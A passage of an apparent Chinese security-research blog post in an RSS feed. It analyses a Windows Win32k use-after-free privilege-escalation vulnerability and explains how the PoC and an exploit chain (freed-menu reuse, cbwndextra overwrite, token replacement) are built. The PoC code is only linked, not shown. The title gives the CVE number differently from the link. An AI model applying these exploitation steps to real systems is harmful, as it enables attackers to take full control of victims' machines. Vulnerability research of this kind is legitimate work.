0cm;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><br/></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Numen 官网</span></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://numencyber.com/ " target="_blank">https://numencyber.com/ </a></span></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">GitHub</span></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://github.com/NumenCyber" target="_blank">https://github.com/NumenCyber</a></span></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Twitter</span></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://twitter.com/@numencyber" target="_blank">https://twitter.com/@numencyber</a></span></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Medium</span></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://medium.com/@numencyberlabs" target="_blank">https://medium.com/@numencyberlabs</a></span></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">LinkedIn</span></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://www.linkedin.com/company/numencyber/" target="_blank">https://www.linkedin.com/company/numencyber/</a></span></section></section></section></section></section></section></section><section style="display: none;line-height: 1.75em;text-align: left;"><br/></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486009">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=827947b3&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MDcxNTc2NA%3D%3D%26mid%3D2247486009%26idx%3D2%26sn%3D4c707f7390c2f906db6141f1e3f1c71c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 12 Jun 2023 19:50:00 +0800</pubDate>
    </item>
    <item>
      <title>Numen独家:Win32k提权漏洞CVE-2023-29936漏洞解析以EXP构造</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247485969&amp;idx=1&amp;sn=27c558d58890fced063262124303bf5d</link>
      <description>通过该漏洞，黑客可获取电脑的完全控制权。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Numen Cyber Labs</span> <span>2023-06-09 12:15</span> <span style="display: inline-block;">北京</span>
</p>

<p>通过该漏洞，黑客可获取电脑的完全控制权。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e9b7c50c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0eAcMSsyxlUbu6xVDKyeQxq1Ij64pKbcekmaI7gFU3wImw2q4JIPCBqicT1hyckQzwTgZia5Wg9AETQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin: 8px 0px 16px;line-height: 1.75em;text-align: left;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5571428571428572" data-s="300,640" style="" data-type="png" data-w="840" src="https://wechat2rss.xlab.app/img-proxy/?k=a05305ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0eAcMSsyxlUbu6xVDKyeQxqDKNBXv5PTicFv0DHarKG66ZYib0Zec5jSGnEBbvia0fWwNib4Cia9KLiaogQ%2F640%3Fwx_fmt%3Dpng"/></p><section data-tools="135编辑器" data-id="126171" style="margin-bottom: 0px;outline: 0px;visibility: visible;"><section style="margin: 10px auto;outline: 0px;visibility: visible;"><section data-autoskip="1" style="padding: 10px 13px;outline: 0px;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(51, 51, 51);background-color: rgb(255, 250, 250);border-bottom: 1px solid rgb(206, 20, 29);visibility: visible;"><section data-role="outer" label="edit by 135editor" style="margin-bottom: 24px;outline: 0px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;visibility: visible;"><section data-tools="135编辑器" data-id="126372" style="outline: 0px;visibility: visible;"><section style="outline: 0px;visibility: visible;"><p style="outline: 0px;visibility: visible;line-height: 1.75em;margin: 8px 8px 16px;"><span style="font-size: 14px;"><strong style="font-size: 16px;letter-spacing: 0.578px;text-align: left;"><span style="color: rgb(48, 56, 65);letter-spacing: 1px;">引言：</span></strong></span></p></section></section><p style="margin: 8px 8px 16px;letter-spacing: 0.578px;text-wrap: wrap;background-color: rgb(255, 250, 250);line-height: 1.75em;text-align: left;"><span style="color: rgb(48, 56, 65);letter-spacing: 1px;font-size: 14px;">在上个月微软的安全补丁中，包含一个在野利用的 win32k 提权漏洞。该漏洞似乎不能在 win11 的系统版本上触发，仅存在于早期系统。</span></p><p style="margin: 8px 8px 16px;letter-spacing: 0.578px;text-wrap: wrap;background-color: rgb(255, 250, 250);line-height: 1.75em;text-align: left;"><span style="color: rgb(48, 56, 65);letter-spacing: 1px;font-size: 14px;">这类漏洞的利用来源已久，此次，<strong>我们希望分析这类在当前新缓解措施不断改善的背景下，攻击组织是可能如何继续利用这个漏洞。</strong></span></p><p style="margin: 8px 8px 16px;letter-spacing: 0.578px;text-wrap: wrap;background-color: rgb(255, 250, 250);line-height: 1.75em;text-align: left;"><span style="color: rgb(48, 56, 65);letter-spacing: 1px;font-size: 14px;">我们在 server2016 下完成整个分析过程。</span></p><p style="margin: 8px 8px 16px;letter-spacing: 0.578px;text-wrap: wrap;background-color: rgb(255, 250, 250);line-height: 1.75em;text-align: left;"><span style="color: rgb(48, 56, 65);letter-spacing: 1px;font-size: 15px;"><strong>背景补充：</strong></span></p><p style="margin: 8px 8px 16px;letter-spacing: 0.578px;white-space: normal;line-height: 1.75em;text-align: left;"><span style="font-size: 14px;">0day 漏洞，即零日漏洞，指未被披露和修补的漏洞，时间概念上类比于 Web3 更为人熟知的概念，是 T+0 交易。</span><strong style="color: rgb(48, 56, 65);font-size: 14px;letter-spacing: 1px;">0day 漏洞被发现后可以在未被察觉的情况恶意利用，这类攻击往往具备极大的破坏性。</strong><strong style="color: rgb(48, 56, 65);font-size: 14px;letter-spacing: 1px;"></strong></p><p style="margin: 8px 8px 16px;letter-spacing: 0.578px;white-space: normal;line-height: 1.75em;text-align: left;"><span style="color: rgb(48, 56, 65);font-size: 14px;letter-spacing: 1px;">Numen C</span><span style="color: rgb(48, 56, 65);font-size: 14px;letter-spacing: 1px;">yber 本次发现的 0day 漏洞是微软 Windows 系统层面的漏洞，</span><strong style="color: rgb(48, 56, 65);font-size: 14px;letter-spacing: 1px;">通过该漏洞，黑客可获取 Windows 的完全控制权。</strong><span style="color: rgb(48, 56, 65);font-size: 14px;letter-spacing: 1px;"></span></p><p style="margin: 8px 8px 16px;letter-spacing: 0.578px;white-space: normal;line-height: 1.75em;text-align: left;"><span style="color: rgb(48, 56, 65);letter-spacing: 1px;font-size: 14px;">被黑客控制所有权的后果，包括不限于个人信息窃取、系统崩溃数据丢失、财务损失、恶意软件植入等，小范围说，你的私钥可以被窃取，以及数字资产被转移。大范围说，这个漏洞能掀掉基于 Web2 基础设施运行的 Web3 牌局（可查看今日次条获取更多文章）。</span></p><p style="margin: 0px 8px;letter-spacing: 0.578px;white-space: normal;line-height: 1.75em;text-align: left;"><img class="rich_pages wxw-img" data-ratio="0.7028380634390651" data-w="599" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=c9a8150b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0fO5RawgN7aNqjulAAG5klg1feGSwQTQtsg4mPIqoFG29paktvOia5deYBpE1o8ibJg8JpuQUvpo2Hw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 8px;letter-spacing: 0.578px;white-space: normal;line-height: 1.75em;text-align: center;"><span style="color: rgb(136, 136, 136);font-size: 12px;">图标仅为示意</span></p></section></section></section></section><section data-role="paragraph" style="margin-bottom: 0px;outline: 0px;visibility: visible;"><section data-role="outer" label="edit by 135editor" style="outline: 0px;visibility: visible;"><section data-role="paragraph" style="outline: 0px;visibility: visible;"><p style="margin: 8px 8px 16px;outline: 0px;line-height: 1.75em;visibility: visible;"><br/></p></section></section></section><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="107815"><section style="margin: 8px auto 16px;text-align: left;"><section style="display: inline-block;"><section style="background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/vlekRjgqic0eAcMSsyxlUbu6xVDKyeQxqzL8LL8DJkQY6ribdyMtTJdPSWjCRMNnia35e94uW19oMeDffdzlXic5Uw/640?wx_fmt=png&#34;);background-position: left center;background-repeat: no-repeat;background-attachment: initial;background-origin: initial;background-clip: initial;background-size: 127px;padding: 15px 38px 15px 20px;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;color: #fff;"><strong>补丁分析 </strong></section></section></section></section></section></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">分析补丁，我们似乎并不能太直观看出是什么问题，这里仅仅似乎是一个对象的引用计数被多处理了一次：</span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="letter-spacing: 0.034em;"><img class="rich_pages wxw-img" data-ratio="0.5957446808510638" data-w="940" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=02cd9cbd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0eAcMSsyxlUbu6xVDKyeQxq9oDISuhXG7qnESiakYPjpr6Rk0WomIPPMPTAAbGEgpZRl5uSS4icnrPA%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">但因为win32k是比较古老的代码，我们能找到一些早期的源码注释：</span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><img class="rich_pages wxw-img" data-ratio="1.1819148936170212" data-w="940" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=3a71d488&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0eAcMSsyxlUbu6xVDKyeQxqrKKDffuyQfggiatxfXHuLT5SPUb7UeQVxTNU1GXf1DmibbQQJxRP91TA%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">这样就非常</span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">好理解了，这里说明</span><strong style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">以前的代码只是锁定了窗口对象，没有锁定窗口对象中的菜单对象，这里菜单对象可能被错误引用。</strong></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"></span></section><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="117004"><section data-role="outer" label="edit by 135editor"><section style="margin-top: 8px;margin-bottom: 16px;"><section style="display: flex;justify-content: flex-start;align-items: center;margin-top: 20px;margin-bottom: 20px;margin-left: 10px;"><section style="display: flex;align-items: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;"><section><br/></section></section></section><section data-role="outer" label="edit by 135editor"><section data-role="title" data-tools="135编辑器" data-id="107815"><section style="margin: 10px auto;text-align: center;"><section style="display: inline-block;"><section style="background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/vlekRjgqic0eAcMSsyxlUbu6xVDKyeQxqzL8LL8DJkQY6ribdyMtTJdPSWjCRMNnia35e94uW19oMeDffdzlXic5Uw/640?wx_fmt=png&#34;);background-position: left center;background-repeat: no-repeat;background-attachment: initial;background-origin: initial;background-clip: initial;background-size: 127px;padding: 15px 38px 15px 20px;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;color: #fff;"><strong>实现 poc</strong></section></section></section></section></section></section><section><br/></section></section></section></section></section></section></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;background-color: rgb(214, 214, 214);"><a href="https://github.com/numencyber/Vulnerability_PoC/blob/main/CVE-2023-29336/poc.cpp" target="_blank">https://github.com/numencyber/Vulnerability_PoC/blob/main/CVE-2023-29336/poc.cpp</a></span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">如何错误的引用这个窗口中的菜单对象呢？</span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><img class="rich_pages wxw-img" data-ratio="0.7319148936170212" data-w="940" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=c3c9fd46&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0eAcMSsyxlUbu6xVDKyeQxqyKdoHMRicUicIdfMHCcNbd71QIs9ldMiaDTia3iaszPPlfbS6iaSSrGtqiamw%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">分析漏洞函数上下文，我们发现一个问题，<strong>传入到 xxxEnableMenuItem（）的菜单，通常已经在上一层函数被锁定，那这里到底是要保护哪一个菜单对象呢？</strong></span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">继续分析 xxxEnableMenuItem 中，对菜单对象的可能处理过程，我们终于发现 xxxEnableMenuItem 中的 MenuItemState 函数返回的菜单有两种可能，一种就是窗口中的主菜单，但也有可能是菜单中的子菜单，甚至子子菜单。</span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><img class="rich_pages wxw-img" data-ratio="1.1904255319148935" data-w="940" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=4f0a0f8d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0eAcMSsyxlUbu6xVDKyeQxq1e401cFiabACQy5QAQ0estkFvr0p68wLk60m0UWgZQP9VkgruVWibzJg%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">poc 中，我们构造一个特殊的菜单（这里是三层，四个菜单）：</span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><img class="rich_pages wxw-img" data-ratio="0.41808510638297874" data-w="940" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=500bd1d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0eAcMSsyxlUbu6xVDKyeQxq4vWicH2x3Zic0ib9gsezqqBA5UcPpJW6h3iafGZG9zGZrVlJKfnhKQHXqg%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">上面相邻的菜单都是父子关系，如 菜单D 是 菜单C 的子菜单。</span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><strong><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">并且这些菜单有以下一些特点</span></strong><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">（这些特征都是为了通过 xxxEnableMenuItem 函数中的检测和判断，因为这和该漏洞产生原理有关）：</span></section><ol class="list-paddingleft-1" style="list-style-type: decimal;margin-left: 8px;margin-right: 8px;"><li><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">菜单D 中，必须其 ID 类型必须为系统菜单类型的一种，如：0xf060（关闭菜单）.</span></section></li><li><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">菜单A 也必须是系统菜单，为了在后续的菜单遍历过程中在 菜单C 中的子菜单中寻找到我们指定的系统菜单类型 0xf060（菜单A 中如果包含我们要找的系统菜单类型，会提前结束菜单查找过程）。我们需要删除 菜单A 中的对应系统菜单类型 0xf060。</span></section></li><li><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">删除掉 菜单C 在 菜单B 中的引用，才能在返回用户层的过程中彻底释放 菜单C。</span></section></li><li><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">为什么需要 菜单B，这里我们并不确认这是否是必须以及原理，但如果没有 菜单B 这一层，似乎 菜单C 的释放仍有一些不顺利。</span></section></li></ol><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">在 xxxRedrawTitle 返回用户层的时候，删除 菜单C 和 菜单B 的引用关系，然后成功释放该 菜单C。</span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">最后，回到内核中的 xxxEnableMenuItem 函数的 xxxRedrawTitle 函数返回点时，后面即将引用的 菜单C 对象已经无效。</span><o:p></o:p></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><br/></span></section><section data-role="outer" label="edit by 135editor"><section data-role="title" data-tools="135编辑器" data-id="107815"><section style="margin: 8px auto 16px;text-align: left;"><section style="display: inline-block;"><section style="background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/vlekRjgqic0eAcMSsyxlUbu6xVDKyeQxqzL8LL8DJkQY6ribdyMtTJdPSWjCRMNnia35e94uW19oMeDffdzlXic5Uw/640?wx_fmt=png&#34;);background-position: left center;background-repeat: no-repeat;background-attachment: initial;background-origin: initial;background-clip: initial;background-size: 127px;padding: 15px 38px 15px 20px;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;color: #fff;"><strong>实现 exp</strong></section></section></section></section></section></section><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="117004"><section data-role="outer" label="edit by 135editor"><section style="margin-top: 8px;margin-bottom: 16px;"><section style="display: flex;justify-content: flex-start;align-items: center;margin-top: 20px;margin-bottom: 20px;margin-left: 10px;"><section style="display: flex;align-items: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;"><section style="width: 4px;height: 20px;background-color: rgb(238, 108, 98);border-radius: 15px;overflow: hidden;"><br/></section></section></section><section style="font-size: 16px;color: rgb(51, 51, 51);text-align: center;padding-right: 7px;padding-left: 7px;"><strong data-brushtype="text">A. 整体思路</strong></section></section></section></section></section></section></section><h1 style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">在确定使用哪种利用思路之前，我们通常希望做一些理论上的前期判断，以避免一些不能绕过关键问题的方案会浪费大量尝试时间。这也是在分析其他漏洞 poc 或者 exp 的一个常规过程。</span></h1><h1 style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><strong><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">本次漏洞 exp 构造前，我们主要有以下两种考量方向：</span></strong></h1><h1 style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><strong><span style="font-size: 15px;">执行 <span style="color: rgb(48, 56, 65);letter-spacing: 1px;">shellcode 代码：</span></span></strong></h1><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">这个思路参考早期的 CVE-2017-0263 和 CVE-2016-0167。这种方式我们并没有尝试，因为在该漏洞的这个方案下，执行 shellcode 的入口点以及一些例如 SMEP 的安全机制问题在高版本 windows 中，可能并没有一些方便且已经公开的解决方式。</span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><strong><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">利用读写原语修改 token 地址：</span></strong></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">即使在最近的两年，依然已经有公开的 exp 可以参考。其中对于桌面堆内存布局以及桌面堆中的读写原语具有长久的通用性。我们现在唯一需要花更多时间完成的只是分析出 UAF 内存被重用时，如何第一次控制 cbwndextra 为一个特别大的值。</span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">所以，这里我们将整个 exp 利用拆分为两个问题。一个是如何利用 UAF 漏洞控制 cbwndextra 的值，另一个则是控制 cbwndextra 值后，稳定的读写原语方式。</span></section><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="117004"><section data-role="outer" label="edit by 135editor"><section style="margin-top: 8px;margin-bottom: 16px;"><section style="display: flex;justify-content: flex-start;align-items: center;margin-top: 20px;margin-bottom: 20px;margin-left: 10px;"><section style="display: flex;align-items: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;"><section style="width: 4px;height: 20px;background-color: rgb(238, 108, 98);border-radius: 15px;overflow: hidden;"><br/></section></section></section><section style="font-size: 16px;color: rgb(51, 51, 51);text-align: center;padding-right: 7px;padding-left: 7px;"><strong data-brushtype="text">B. 如何写入第一次数据</strong></section></section></section></section></section></section></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">当我们最开始触发漏洞时，系统并不总会 crash。因为我们的漏洞触发方式里，我们已经去掉了被重用漏洞在系统中所有的其他关联。</span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">系统可能错误使用这个被我们控制内存的窗口对象数据基本只有 xxxEnableMenuItem 函数中的 MNGetPopupFromMenu() 和</span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">xxxM</span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">NUpdateShow</span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">nMenu()。</span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">我们使用窗口类 WNDClass 中的窗口名称对象来占用漏洞触发中我们释放的菜单对象。</span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><strong><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">我们能够实现第一次的数据写入时机也在这其中。</span></strong></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">我们需要做的只有一件事，就是找到一个可以由我们构建的地址结构中，能够被任意写入数据的地方。哪怕仅仅一个字节（我们可以将这个字节写入到 cbwndextra 